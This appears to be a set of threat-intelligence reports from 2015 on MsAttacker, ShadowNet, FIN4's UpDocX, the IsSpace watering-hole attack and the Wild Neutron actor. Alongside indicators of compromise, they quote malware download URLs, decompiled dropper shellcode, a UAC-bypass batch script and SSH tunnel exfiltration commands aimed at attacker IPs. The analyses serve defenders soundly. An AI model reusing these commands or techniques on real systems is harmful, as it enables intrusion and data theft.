c:\windows\system32\teamviewsvc.dll and creates a service to run on startup. It then connects to 23.27.127.200 to receive further requests. We call this family MsAttacker after an event name in the stage 2 binary. We were also provided with another sample of MsAttacker that was also sent on March 5 in a highly targeted attack against a Tibet-related NGO. The email contained information about a private event the group was planning that was unrelated to March 10 activities. The attachment contained the same payload as the first March 10 related attack. We found one other example of this malware in the wild. On March 5, an analysis of a file WTO. non-market status China _1_.doc was posted to Malwr (a community malware analysis platform). This sample was from the same family and also connected to 122.10.117.152. ATTACK 2: SHADOWNET In another attack on March 5, members of a Tibetan human rights organization received an email appearing to come from the group s organizational mailing list. The email message contained information from the secretary of the Bureau of His Holiness the Dalai Lama regarding events related to March 10. Attached was a malicious Microsoft Word file that had the same filename as the previous attack (10th March.doc) and also used CVE-2012-0158. However, the malware used in this attack is from the ShadowNet family. ShadowNet malware leverages Windows Management Instrumentation (WMI), a system tool meant for administrators. Its intended usage as a tool for collecting system information and automation makes it an ideal mechanism for gathering and exfiltrating data. The use of legitimate Windows features can make it more difficult for administrators to identify activity as malicious. March 2015 ShadowNet typically uses multi-layered C2 infrastructure that first connects to blog websites and then retrieves C2 information from encoded strings left on the blog. By using blog sites as intermediaries the attackers can maintain control of compromised machines even if a C2 is blocked by a network firewall or otherwise goes down. If a C2 needs to be updated the attackers can simply point the intermediaries to new servers. The sample used in this attack includes a WMI Script with links to three blogs (hxxp://johnsmith152.typepad.com/blog/rss.xml; hxxp://mynewshemm.wordpress.com/feed/; hxxp://johnsmith5382.thoughts.com/feed). The blogs contain an encoded string that points to the actual C2: hxxp://www.semamail.info/firex/test.php, which has the IP 122.10.117.5 and is on the same Autonomous System (AS 24544) as the C2 for the MsAttacker sample. Apart from this commonality and the timing of the attack we do not observe any other linkages between the MsAttacker and ShadowNet attacks. The domain (semamail.info) has questionable whois information: Registrant Name: Kasong Dolma Registrant Street: New York Registrant City:New York Registrant State/Province:guangdong Registrant Postal Code:10001 Registrant Country:CN Registrant Phone:+1.9175608889 Registrant Email: mike.fly@email.com This same registration information has been used for a number of other domains including conamail.info, convmail.info, and fifamp3.info. The domain fifamp3.info resolves to 122.10.117.35. Passive DNS records show that the same IP has pointed to rukiyeangel.dyndns.pro, which is related to C2 infrastructure used in the Lucky Cat and TseringKanyaq campaigns. ShadowNet was also used in both of these campaigns. The overlap between C2 infrastructure and malware families suggests some level of coordination between this new attack and the previous campaigns. CONCLUSION AND RECOMMENDATIONS These attacks are a reminder that members of the Tibetan community are consistently targeted, and that the threat seems to increase during important Tibetan events. These kinds of attacks can be mitigated through greater user awareness and changes in behaviour. Users in targeted communities should always be cautious about unsolicited emails containing links or attachments and should carefully examine the email sender addresses in suspicious messages. Viewing documents through the Gmail preview feature, or by uploading them to Google Docs to view them can make it possible to look at the content of attachments without risking infection of a machine. Suspicious files can also be submitted to VirusTotal (but should not be submitted if the files contain personal information) or shared with technical experts within the community. For further resources on digital security the Citizen Lab recommends Tibet Action Institute s Be a Cyber Super Hero project. We are continuing to closely analyze these attacks and the MsAttacker malware family. March 2015 We will post further details as they become available. INDICATORS MsAttacker Samples Stage 0 MD5: 8346b50c3954b5c25bf13fcd281eb11a SHA1: d9a74528bb56a841cea1fe5fa3e0c777a8e96402 SHA256: de7058700f06c5310c26944b28203bc82035f9ff74021649db39a24470517fd1 Stage 0 MD5: 6fc909a57650daff9a8b9264f38444a7 SHA1: 2a2a1fae6be0468d388aa2c721a0edd93fb37649 SHA256: a264cec4096a04c47013d41dcddab9f99482f8f83d61e13be4bcf4614f79b7a0 Stage 1 MD5: 69a0f490de6ae9fdde0ad9cc35305a7d SHA1: e3532fc890f659fb6afb9115b388e0024565888c SHA256: 3de8fb09d79166f10f4a10aef1202c2cb45849943f224dc6c61df8d18435e064 Stage 2 MD5: 2782c233ddde25040fb1febf9b13611e SHA1: be50ef6c94f3b630886e1b337e89f4ea9d6e7649 SHA256: 50aebd2a1e3b8917d6c2b5e88c2e2999b2368fca550c548d0836aa57e35c463f 122.10.117.152 23.27.127.200 Ms Attacker Identifiers Stage 1 Strings http://122.10.117.152/download/ms/CryptBase.32.cab http://122.10.117.152/download/ms/CryptBase.64.cab http://122.10.117.152/download/ms/MiniJS.dll MiniJS.dll gupdate.exe rundll32.exe %s install %s %s;new Downloader('%s', '%s').Fire(); rundll32.exe %s RealService %s March 2015 Stage 2 Strings MiniJS.dll RealService %s "rundll32.exe %s RealService %s" /f reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Start Pages" /f TeamView 3111431114311121270018000127001808012700180 Global\MSAttacker %d ShadowNet Samples Stage 0 MD5: 72707089512762fce576e29a0472eb16 SHA1: 4ab039da14acf7d80fbb11034ef9ccc861c5ed24 SHA256: ddfa44ebb181282e815e965a1c531c7e145128aa7306b508a563e10d5f9f03fb Stage 1 MD5: d8ae44cd65f97654f066edbcb501d999 SHA1: 602a762dca46f7639210e60c59f89a6e7a16391b SHA256: e8f36317e29206d48bd0e6dd6570872122be44f82ca1de01aef373b3cdb2c0e1 hxxp://www.semamail.info/firex/test.php (122.10.117.5) ACKNOWLEDGEMENTS Thanks to Chris Davis, PassiveTotal, and Adam Senft. UnFIN4ished Business By Michael Yip and Chris Doman Overview With access to business critical information, senior executives and consultants are often said to be valuable targets for threat actors tasked with obtaining sensitive business secrets. FIN4 is a financially motivated threat actor which has consistently targeted this population. On 23 June 2015, the press reported that the Securities and Exchange Commission are investigating FIN4 activities[1]. Since mid-2013, this group is reported[2] to have targeted more than 100 organisations which are primarily NASDAQ and NYSE listed companies or firms working with those listed clients to provide advisory or financial services, such as investment banking. In particular, the FIN4 group has shown a particular interest in the healthcare and pharmaceutical industry and appears to have team members who are intimately familiar with that industry. The group is not a new threat and has been previously reported on by other security companies: Towards the end of 2013 security company Esentire released a brief alert (ESOC-2013-11-08[3]) regarding a "targeted attack against hedge funds"; In May 2014, Symantec released a brief alert (O97M.Ratil[4]) providing further details and mitigations for the threat; and, In November 2014 FireEye released a detailed report on the threat actor, their tactics, techniques and their targets. These reports document two methods of attack used by the FIN4 group: malicious Microsoft Office documents to obtain credentials, and phishing pages designed to mimic Outlook Web App authentication pages. Our research into FIN4 has uncovered evidence which indicates that FIN4 also used bespoke malware to harvest credentials and steal documents from compromised victims. The UpDocX Malware During our research into FIN4 s malicious macros, we identified a sample, d102693540b53f9a564e3a550f938709, which contains similar code to the malicious macros cited in previously documented samples, such as the form display and the subroutine uploadPOST, an example of which is given below: However, in our sample the macro code differs, in that it uses URLDownloadToFile to download an executable named WINWORD32.exe - this can be seen below. Using this inbuilt Windows functionality, the macro downloads and executes a file located at the following URL: http://www.advantarlabs[.]com/plugins/extension- xtd/WINWORD32.exe Due to the command and control filename as shown in the htmlUpload function below, we refer to this malware as UpDocX: UpDocX was written in VB.NET and compiled without any attempts at obfuscating the source code. There is also no attempt in obfuscating C2 network traffic. It has limited functionality and appears to be a simple backdoor used solely for keylogging and uploading documents to designated C2 servers. The attackers have, however, put some effort into avoiding detection and hindering investigations. UpDocX has a list of extensive clean-up functions responsible for eliminating evidence of compromise, which indicates a degree of caution often not observed in targeted attacks. We believe that one of the authors of UpDocX may be a French speaker, based on naming conventions used in the malware. PwC threat intelligence customers can access a more detailed technical analysis of UpDocX, additional indicators associated with FIN4 and our most recent profile of the group, in report reference CTO-TAP-20150518-01A. [1] http://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623 [2] https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf [3] https://www.esentire.com/wp-content/uploads/2013/11/esentire_alert_20131108_DOCM.pdf [4] http://www.symantec.com/security_response/writeup.jsp?docid=2014-052813-3721-99&tabid=2 Tweet Neutrino Exploit Kit delivers zero-detection Zeus Variant | Main Watering Hole Attack on Aerospace Firm Exploits CVE-2015-5122 to Install IsSpace Backdoor On July 16, 2015, the Palo Alto Networks Unit 42 threat intelligence team discovered a watering hole attack on the website of a well-known aerospace firm. The website was compromised to launch an apparent watering-hole attack against the company s customers. It was hosting an Adobe Flash exploit targeting one of the newly disclosed vulnerabilities from the Hacking Team data breach, CVE-2015-5122. This attack yet again showcases the opportunistic tendencies of adversary groups and bad actors. The malware deployed by this exploit has been seen in a number of targeted attacks and provides attackers with a foothold on the victim s machine and/or network. The exploit file, movie.swf, was ZWS compressed, a tactic that has been observed to evade anti-virus programs. Once uncompressed, a binary was found to be embedded in the Flash file. Upon further analysis, this file was found to contain behavior consistent with a Trojan commonly called IsSpace. Based on its codebase and behavioral patterns, it appears that IsSpace could possibly be an evolution of the NFlog backdoor, which has previously been attributed to the adversary groups DragonOK and Moafee. Both groups are thought to be operating out of Southeast Asia, and Moafee in particular has been associated with attacks on the US defense industrial base. Exploit Details The CVE-2015-5122 exploit found within the Flash file is nearly identical to the original proof of concept (POC) disclosed publically from the Hacking Team data breach. An analysis by Trend Micro covers the POC in detail. Unlike the POC mentioned in the Trend Micro report, this particular exploit file was weaponized, and, instead of loading calc.exe, a much more malicious file was loaded. As seen in Figure 1, the embedded shellcode is obfuscated using the same technique of representing bytes as integers and exponential numbers. However it appears that the adversary did not modify the POC much, as the variable name calc remains unchanged. Figure 1. Embedded shellcode within the malicious Flash file These values can be converted into their byte representations using a simple Python script, truncated here for brevity. >>> import struct >>> shellcode = [2.179763029E9,286956,2.425377536E9,2.2444484E9,4.29496648E9,1094795585] >>> for s in shellcode: print repr(struct.pack("I", s)) 'U\x8b\xec\x81' '\xec`\x04\x00' '\x00S\x90\x90' '\x90\x90\xc7\x85' '\xd0\xfc\xff\xff' 'AAAA' >>> import struct >>> shellcode = [2.179763029E9,286956,2.425377536E9,2.2444484E9,4.29496648E9,1094795585] >>> for s in shellcode: print repr(struct.pack("I", s)) 'U\x8b\xec\x81' '\xec`\x04\x00' '\x00S\x90\x90' '\x90\x90\xc7\x85' '\xd0\xfc\xff\xff' 'AAAA' Looking at the shellcode in further detail shows a fairly simplistic instruction set. Functions are loaded dynamically, and a file is dropped to %TEMP%\Rdws.exe before being executed using the WinExec Windows API call. sz_file_path = GetTempPathA(256, file_path); v6 = file_path; v7 = sz_file_path; *&file_path[sz_file_path] = 'swdR'; *&v6[v7 + 4] = 'exe.'; *&v6[v7 + 8] = 0; file_handle = CreateFileA(file_path, 0x40000000, 0, 0, 2, 0, 0); if ( file_handle != -1 ) WriteFile(file_handle, data, v41, &v110, 0); CloseHandle(file_handle); WinExec(file_path, 0); sz_file_path = GetTempPathA(256, file_path); v6 = file_path; v7 = sz_file_path; *&file_path[sz_file_path] = 'swdR'; *&v6[v7 + 4] = 'exe.'; *&v6[v7 + 8] = 0; file_handle = CreateFileA(file_path, 0x40000000, 0, 0, 2, 0, 0); if ( file_handle != -1 ) WriteFile(file_handle, data, v41, &v110, 0); CloseHandle(file_handle); WinExec(file_path, 0); Returning to the Flash exploit, we discover that the dropped file is embedded within the Flash file itself as ByteArray. This binary data is loaded and decompressed with ZLIB prior to being stored in a newly allocated section of memory. The address of this binary data is then stored in the shellcode before it is executed. Figure 2. Exploit loading binary and running shellcode After successful execution, a binary with the following attributes is executed on the victim s machine. 319500B2C792AEE6CD8EF8EE87D9DC1E SHA1 723DB4F13E98364098D76B925EA197F9ECD5309B SHA256 27439ADAA07F5AD16EB8039C16ECEB4E71F6358E7FC13AC645E8878DA8C3E77E Size 59904 Bytes File Type PE32 executable (GUI) Intel 80386, for MS Windows Compile Timestamp 2014-11-14 04:35:13 UTC Malware Details As seen by the compile timestamp, this malware sample is not extremely current. The timestamp shows a compile date of November 14, 2014, which indicates that the infrastructure used by this particular sample has remained intact for quite some time, relatively speaking. Analysis of the malware indicates that this sample is highly likely to be the Trojan tool IsSpace, which shares similar code and behaviors as the NFlog tool. When comparing IsSpace to NFlog, we noticed a number of changes have been made. When initially run, the malware attempts to write log messages to C:\ProgramData\log[.]txt indicating that this variant was intended to run on Microsoft Windows 7 or higher. However, it still maintains the capability to run on operating systems earlier than Microsoft Windows 7 if needed. IsSpace creates an event named MdQ0784kd to ensure that only a single instance of the malware is running at any given time on an infected host. To determine the flow of execution, IsSpace gathers various data about the infected host, such as administrative rights of the user, operating system version, and CPU architecture. If IsSpace determines that it is running as an administrator on a Microsoft Windows 7 system on a 32-bit platform, it will attempt to execute itself accordingly, using a side-loading technique. The malware will drop a cabinet file and batch script to the following locations: %TEMP%\FASAP.DAT %TEMP%\FASAPI.bat The batch script contains the following: @echo off ping localhost start wusa [%TEMP%]\FASAP.DAT /quiet /extract:%windir%\system32\sysprep\ ping localhost ping localhost ping localhost ping localhost ping localhost start %windir%\system32\sysprep\sysprep.exe "[CWD]\[Malware].EXE" @echo off ping localhost start wusa [%TEMP%]\FASAP.DAT /quiet /extract:%windir%\system32\sysprep\ ping localhost ping localhost ping localhost ping localhost ping localhost start %windir%\system32\sysprep\sysprep.exe "[CWD]\[Malware].EXE" [CWD] is the directory where the malware was run from and [%TEMP%] is the full path of the %TEMP% directory. The batch script will first extract the cabinet file to the sysprep directory. The extracted file is a 32-bit DLL with the name CryptBase.dll. The batch script continues to execute sysprep.exe after approximately 5 seconds, which will automatically load the dropped CryptBase.dll file. This DLL will execute the provided argument in a child process. This newly created process has elevated privileges as it is spawned by sysprep.exe. A similar process is taken for 64-bit systems. However, instead of dropping a batch script, a 64-bit executable along with a cabinet file containing a 64-bit version of CryptBase.dll is dropped to the following path instead: %TEMP%\FASAPI.bin %TEMP%\FASAP.DAT This executable is then run in a new process. It is responsible for unpacking the cabinet file and spawning a new instance of sysprep.exe. If the malware detects that it is running on a Windows XP host, it will attempt to check for Internet connectivity by making a HTTP request to www.microsoft.com. This is similar to characteristics observed in the NFlog backdoor, with the primary deviation being that this activity only takes place when running in a Windows XP environment with IsSpace. IsSpace proceeds to make HTTP requests to 172.246.109.27, which appears to be its primary command and control (C2) server. The initial HTTP request is made to //STTip.asp. Note the extra leading forward slash. This is likely an unfortunate side effect of the malware expecting a subdirectory in the URI path. As this particular sample did not supply one, the extra slash is seen. An example request made can be seen below: Figure 3. Initial IsSpace beacon being sent After the initial beacon, IsSpace will exfiltrate victim information by making an HTTP request to //SNews.asp?HostID=xx-xx-xx-xx-xx-xx , where the HostID contains the victim s MAC address. The POST data sent in this request is encrypted using the same four-byte XOR key of \x35\x8E\x9D\x7A that has been used by the NFlog tool. Figure 4. IsSpace disseminating victim information and accepting command The decrypted information contains data similar to the following: '60-F8-1D-CC-2F-CF#%##%#172.16.95.137#%#WINLJLV2NKIOKP#%#Win7#%#English(US)#%#2015-07-17 09:31:57#%#Active#%#303_20140401#%#IsAdmins#%#IsSpace' '60-F8-1D-CC-2F-CF#%##%#172.16.95.137#%#WIN-LJLV2NKIOKP#%#Win7#%#English(US)#%#201507-17 09:31:57#%#Active#%#303_20140401#%#IsAdmins#%#IsSpace' Once again, the exfiltrated data is very similar to what has been used by NFlog; however with IsSpace, the victim s user privilege level is also included, in addition to a variable of either IsSpace or IsGoogle. This particular variable is still under investigation by Unit 42. Additionally, we see what is likely a campaign code of 303_20140401 After the successful check-in and initial exfiltration, IsSpace will then accept the following commands: Command Description Response URI Executes command //STravel.asp Browse List specified directory //SJobs.asp UploadFile Upload file //SSports.asp DownLoad Download file //SWeather.asp DelFile Delete file IsSpace provides attackers with a foothold into the victim s machine and/or network. While the malware itself provides limited functionality, it allows attackers to perform minimal reconnaissance and deploy further malware onto the device. Infrastructure Figure 5. Infrastructure related to the command and control IP address The IP 172.246.109.27 is hardcoded in the IsSpace sample and is likely to be the primary C2 server. Pivoting off of this primary C2 IP address using passive DNS data, we located seven domain names and two additional IP addresses that may be related to this attack. Three of the domains found used the prefix or as the third level domain; this tactic is commonly used by malware authors as an evasion method. Examining the WHOIS data for the domains revealed additional intelligence on possible attribution. Specifically, the WHOIS data showed the start-vedioing[.]net to be allegedly registered to an entity in Japan: Registry Registrant ID: Registrant Name: Alta Rohde Registrant Organization: Registrant Street: tokoy Registrant Street: tokoy Registrant City: tokoy Registrant State/Province: Aomori Registrant Postal Code: 236521 Registrant Country: Japan Registrant Phone: +81.21244215 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: alta.rohde@inbox[.]com And the anywhere-staring[.]com was found to be allegedly registered to an entity in China: Registry Registrant ID: Registrant Name: lan fei Registrant Organization: Registrant Street: tian jing lu 244 Registrant City: bei da Registrant State/Province: qing nao Registrant Postal Code: 888000 Registrant Country: China Registrant Phone: +86.13877554411 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: csolyc110@163[.]com The geographic regions indicated in the WHOIS data are consistent with campaigns previously associated with NFlog, showing that the adversaries attributed to this malware were highly likely to be operating out of Southeast Asia. IsSpace is a newer variant of the NFlog malware family, and contains many similarities in its behavior and code base. It is highly likely that adversary groups that have historically used NFlog are now using IsSpace. Conclusion Adversaries continue to exploit easily accessible vulnerabilities and readily re-use exploit code and payloads, largely due to their efficacy. This type of behavior and activity is expected to continue for the near future due to the multiple vulnerabilities disclosed by the Hacking Team data breach. As with many other previously disclosed advanced attacks, relying purely on a detection-based model for security is ineffective when IOCs are either unknown or are not readily available for ingestion. Thus, it is imperative that organizations deploy automated, behavior-based preventative measures such as Palo Alto Networks WildFire or Traps to reduce the risk of unknown attacks. Palo Alto Networks customers using WildFire are protected from this campaign. Additionally, IPS signature 14365 detects IsSpace command and control traffic inside a network. File Information Name Rdws.exe 319500B2C792AEE6CD8EF8EE87D9DC1E SHA1 723DB4F13E98364098D76B925EA197F9ECD5309B SHA256 27439ADAA07F5AD16EB8039C16ECEB4E71F6358E7FC13AC645E8878DA8C3E77E Size 59904 Bytes File Type PE32 executable (GUI) Intel 80386, for MS Windows Compile Timestamp 2014-11-14 04:35:13 UTC C2 IP Address 172.246.109.27 Name FASAPI.bin 10DBFB65836773567B466918250D7EF4 SHA1 4330F5AD25980E0EBB0165F6B49727152735EF4A SHA256 25BA7D0399DDA177A2F35F2F5804BA54A272E43C192649339E5CBF8BD4EFA0E0 Size 9216 Bytes File Type PE32+ executable (console) x86-64, for MS Windows Compile Timestamp 2014-05-06 13:23:38 UTC Name FASAP.DAT (64-bit) 7F1779F37F257006576B2D41919441EC SHA1 4AC396084E932733BB887B51FA5A5E489D9CB0EC SHA256 53EDFF51E0E52B2D1E8526FEA144E9EA923183C2CFECE8A87DDA92B8390651AF Size 4065 Bytes File Type Microsoft Cabinet archive data, 4065 bytes, 1 file Name CryptBase.dll (64-bit) 1F132F365E60CD43FFF75CD3CA464463 SHA1 4DF97974B36ADADFDFDA44172484019AD2EDD649 SHA256 BDBD4974F872A6B62528F4F03C64D6CD9CF5E9352582F5AE242DC7F843A6FE55 Size 9216 Bytes File Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows Compile Timestamp 2014-04-21 13:08:07 UTC Name FASAP.DAT D0D267D8CBBB7DBC59CFC68742FD0559 SHA1 4586685CC724DEDFFB9C41F65B2DFFC7017F2970 SHA256 05ACABAC8BCA04AC36FBD8B7DFBE21BDE720EBE82A6B642721114E7FBDA01BEA Size 3870 Bytes File Type Microsoft Cabinet archive data, 3870 bytes, 1 file Name CryptBase.dll (64-bit) BCDEC2A79EADF1DA2166BBB705A25AAE SHA1 FD2CE90293CBB7CD28B42CE8FFB2CE5D95ED3260 SHA256 052AAD8133E1FFC2863581DB33D366BA4180DFCF2E01ED7ACBEA4D53C355AB59 Size 7680 Bytes File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Compile Timestamp 2014-04-20 12:19:57 UTC Wild Neutron Economic espionage threat actor returns with new tricks Indicators of Compromise (IOC) A powerful threat actor known as Wild Neutron (also known as Jripbot and Morpho ) has been active since at least 2011, infecting high profile companies for several years by using a combination of exploits, watering holes and multi-platform malware. The latest round of attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit. Wild Neutron hit the spotlight in 2013, when it successfully infected companies such as Apple, Facebook, Twitter and Microsoft. This attack took advantage of a Java zero-day exploit and used hacked forums as watering holes. The 2013 incident was highly publicized and, in the aftermath, the threat actor went dark for almost one year. #WildNeutron is a powerful entity engaged in espionage, possibly for economic reasons Tweet In late 2013 and early 2014 the attacks resumed and continued throughout 2015. Targets of the new attacks include: Law firms Bitcoin-related companies Investment companies Large company groups often involved in M&A deals IT companies Healthcare companies Real estate companies Individual users The focus of these attacks suggests this is not a nation-state sponsored actor. However, the use of zerodays, multi-platform malware as well as other techniques makes us believe it s a powerful entity engaged in espionage, possibly for economic reasons. Older (2013) campaigns During the 2013 attacks, the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk[.]com, which is an iPhone developers forum. The attackers injected a script into the forum that redirected visitors to another website (min.liveanalytics[.]org currently SINKHOLED by Kaspersky Lab) that hosted a Java zero-day exploit. A similar attack was also found in another forum dedicated to Linux developers: fedoraforum[.]org. For a more detailed analysis of these 2013 attacks, see Eric Romang s blog. Other forums compromised by the Wild Neutron group and identified by reports from the Kaspersky Security Network include: expatforum.com mygsmindia.com forum.samdroid.net emiratesmac.com forums.kyngdvb.com community.flexispy.com ansar1.info In particular, two of these stand out: community.flexispy[.]com and ansar1[.]info . The first one is a community ran by Flexispy, a company that sells spyware for mobile devices. The second one is a Jihadist forum that is currently closed. ansar1[.]info was injected by Wild Neutron in 2013 Back in 2013, the attackers also leveraged a Mac OS X backdoor, known as OSX/Pintsized. This is also described in more detail in Eric Romang s excellent blog. The same backdoor, compiled for Win32, is still being used in the 2015 attacks. #WildNeutron is one of the most unusual APT group we've analysed and tracked Tweet Some of the more prominent victims of the 2013 attack include Twitter, Facebook, Apple and Microsoft. These breaches were covered widely by the press and some affect companies, issued statements on the incident (see Facebook s statement). The targeting of major IT companies like Facebook, Twitter, Apple and Microsoft is unusual, however, it not entirely unique. The lack of victims in other sectors, such as diplomatic or government institutions, is however quite unusual. This makes us believe this is not a nation-state sponsored attack. Technical analysis The malware set used by the Wild Neutron threat actor has several component groups, including: A main backdoor module that initiates the first communication with C&C server Several information gathering modules Exploitation tools SSH-based exfiltration tools Intermediate loaders and droppers that decrypt and run the payloads Although customized, some of the modules seem to be heavily based on open source tools (e.g. the password dumper resembles the code of Mimikatz and Pass-The-Hash Toolkit) and commercial malware (HTTPS proxy module is practically identical to the one that is used by Hesperbot). Although customized, some of the modules seem to be heavily based on open source tools #WildNeutron Tweet All C&C communication is encrypted with a custom protocol. Dropped executables, as well as some of the hardcoded strings are usually obfuscated with XOR (depends on bot version). The main backdoor module contains a number of evasion techniques, designed to detect or time out sandboxes and emulation engines. Exploitation 2015 The initial infection vector from the 2014-2015 attacks is still unknown, although there are clear indications that the victims are exploited by a kit that leverages an unknown Flash Player exploit. The following exploitation chain was observed in one of the attacks: Site hxxp://cryptomag.mediasource.ch/ Paths /favicon.ico /msie9html5.jpg /loader-large.gif /bootstrap.min.css /stats.js?d=1434374526478 /autoload.js?styleid=20&langid=5&sid=883f2efa&d=1434374526 /banner.html?styleid=19&langid=23&sid=883f2efa&d=1434374526 /883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533 /883f2efa/pzixfgne?styleid=5&langid=25&sid=883f2efa&d=1434374533 /883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533/ /background.jpg The subdomain cryptomag.mediasource[.]ch appears to have been created for this attack; it pointed to an IP address associated with other Wild Neutron C&Cs, highlighted in red below: Hosts resolving to 66.55.133[.]89 While app.cloudprotect[.]eu and ssl.cloudprotect[.]eu are two known Wild Neutron C&Cs, cryptomag.mediasource[.]ch appears to have been pointed to this IP for the purpose of exploitation. Another suspicious domain can be observed above, secure.pdf-info[.]com. We haven t seen any attacks connected with his hostname yet, however, the name scheme indicates this is also malicious. In another attack, we observed a similar exploitation chain, however hosted on a different website, hxxp://find.a-job.today/. In both cases, the visitors browsed the website, or arrived via what appears to have been an online advertisement. From there, autoload.js appears in both cases, which redirects to another randomly named HTML file, which eventually loads a randomly named SWF file. While the group used watering hole attacks in 2013, it s still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks. Instead of Flash exploits, older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013, detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b. The main malware dropper The functionality of the main dropper is relatively simple: it decrypts the backdoor executable (stored as a resource and encrypted with a simple XOR 0x66), writes it to a specified path and then executes it with parameters that are hardcoded in the dropper body. One of the parameters is the URL address of the C&C server, while others contain various bot configuration options. Example parameters used by the dropper: igfxupt.exe https://app.cloudprotect[.]eu:443 /opts resolv=logs.cloudprotect[.]eu After executing the main backdoor, the dropper is securely deleted by overwriting its content with random numbers several times before renaming and removing the file. The main backdoor (aka Jripbot This binary is executed with the URL address of the C&C server as a parameter; it can also receive an optional bot configuration. This information is then double-encrypted first with RC4 and then with Windows CryptProtectData function and saved to the registry. Before performing any other activity, the malware first runs its stalling code (designed to outrun the emulators), then performs several anti-sandboxing checks and enters an infinite loop if any unwanted software running in the system is detected. Otherwise, it gathers some basic system information: Version of the operating system If program is running under WOW64 If current user has administrator privileges Which security features of Windows are enabled Username and computer name Server name and LAN group Information about logical drives System uptime and idle time Default web browser Proxy settings Based on some of this information, malware generates a unique ID for the victim and starts the C&C communication by sending the ID value and awaiting commands. Backdoor configuration options may include proxy server address and credentials, sleeptime/delay values and connection type, but the most interesting option is the resolv=[url] option. If this option is set, the malware generates a domain name consisting of computer name, unique ID and and the URL passed with this option; then it tries to resolve the IP address of this domain. We suspect this is the method the attackers use to send the generated UID to the C&C. Commands from the C&C may instruct the bot to perform following actions: Change the current directory to the requested one Execute an arbitrary command in the command line Set the autorun value for itself in the registry Delete the autorun value for itself in the registry Shred requested file (overwrite the file content with random numbers, overwrite the file name with zeroes and then delete it) Download file from the Internet and save it (optionally encrypted) to the disk Install or uninstall additional malware plugins Collect and send system information Enumerate drives Set sleeptime value Update the configuration Update itself Quit Older versions of this backdoor, used in the 2013 attacks, had a bit more functionality: Password harvesting Port scanning Collecting screenshots Pushing files to C&C Reverse shell These features were removed from the newer backdoor versions that are used in recent attacks. Instead, malware developers decided to implement a plugin mechanism and run different tools for different tasks. This suggests a clear shift towards more flexible modular architecture. #WildNeutron hide the C&C address by encrypting it in the registry with machine-dependent information Tweet In terms of functionality, the main backdoor is no different from many other Remote Access Tools (RATs). What really stands out is the attacker s carefulness to hide the C&C address, by encrypting it in the registry with machine-dependent information. Also notable is the ability to recover from a C&C shutdown by contacting a dynamically generated domain name, which only the attackers know in advance, as it is directly tied to each unique victim. According to the timestamp of the samples the distribution is as follows: Each backdoor appears to contain an internal version number, which ranges from 11000 to 16000 in the latest samples. This allows us to trace the following evolutionary map: Backdoors used in the 2013 attacks: Timestamp Version Filename Size 1582d68144de2808b518934f0a02bfd6 29 Nov 2012 11000 javacpl.exe 327168 14ba21a3a0081ef60e676fd4945a8bdc 30 Nov 2012 12000 javacpl.exe 329728 0fa3657af06a8cc8ef14c445acd92c0f 09 Jan 2013 13000 javacpl.exe 343552 Backdoors used in 2014 and 2015 attacks: Timestamp Version Filename Size 95ffe4ab4b158602917dd2a999a8caf8 13 Dec 2013 14014 LiveUpdater.exe 302592 342887a7ec6b9f709adcb81fef0d30a3 20 Jun 2014 15013 FlashUtil.exe 302592 dee8297785b70f490cc00c0763e31b69 02 Aug 2013 (possibly fake) 16010 IgfxUpt.exe 291328 f0fff29391e7c2e7b13eb4a806276a84 27 Oct 2014 16017 RtlUpd.exe 253952 The installers also have a version number, which indicates the following evolution: Timestamp Version 1f5f5db7b15fe672e8db091d9a291df0 16 Dec 2011 1.4.1 48319e9166cda8f605f9dce36f115bc8 28 Sep 2012 1.5.0 088472f712d1491783bbad87bcc17c48 12 Apr 2013 1.6.3 ee24a7ad8d137e54b854095188de0bbf 07 Jan 2014 1.6.4 Lateral movement After installing the main backdoor and establishing initial C2 communication, the attackers use a range of different tools to extract sensitive data and control the victim s machine. These tools include a password harvesting trojan, a reverse-shell backdoor and customized implementations of OpenSSH, WMIC and SMB. Sometimes, they only drop a simple perl reverse shell and use various collection methods to retrieve credentials from a set of machines, escalate privileges, and fan out across a network from there. Besides these tools, there is also a number of small utility modules of different functionalities, from loaders and configuration tools, to file shredders and network proxies. s also worth noting that this threat actor heavily relies on already existing code, using publicly available open source applications, as well as Metasploit tools and leaked malware sources, to build its own toolset. Some of these tools are designed to work under Cygwin and come together with the Cygwin API DLL, which may suggest that the attackers feel more comfortable when working in a Linux-like environment. SSH tunnel backdoor During the 2014/2015 attacks, we observed the attackers deploying custom, OpenSSH-based Win32 tunnel backdoors that are used to exfiltrate large amounts of data in a reliable manner. These tunnel backdoors are written as updt.dat and executed with two parameters, -z and -p. These specify the IP to connect to and the port. Despite the port number 443, the connection is SSH: /d /u /c updt.dat -z 185.10.58.181 -p 443 /d /u /c updt.dat -z 46.183.217.132 -p 443 /d /u /c updt.dat -z 217.23.6.13 -p 443 For authentication, the SSH tunnel backdoor contains a hardcoded RSA private key. Stolen certificate During the 2015 attacks, Wild Neutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate. Acer signature on Wild Neutron dropper The abused certificate has the following properties: Serial: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80 Thumbprint: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07 The dropper (dbb0ea0436f70f2a178a60c4d8b791b3) appears to have been signed on June 15, 2015. It drops a Jripbot backdoor as IgfxUpt.exe and configures it to use the C&C app.cloudprotect[.]eu #WildNeutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate Tweet We have worked with Symantec, Verisign and Acer to revoke the compromised certificate. Victims and statistics The Wild Neutron attacks appear to have a highly targeted nature. During our investigation, we have been able to identify several victims across 11 countries and territories: France Russia Switzerland Germany Austria 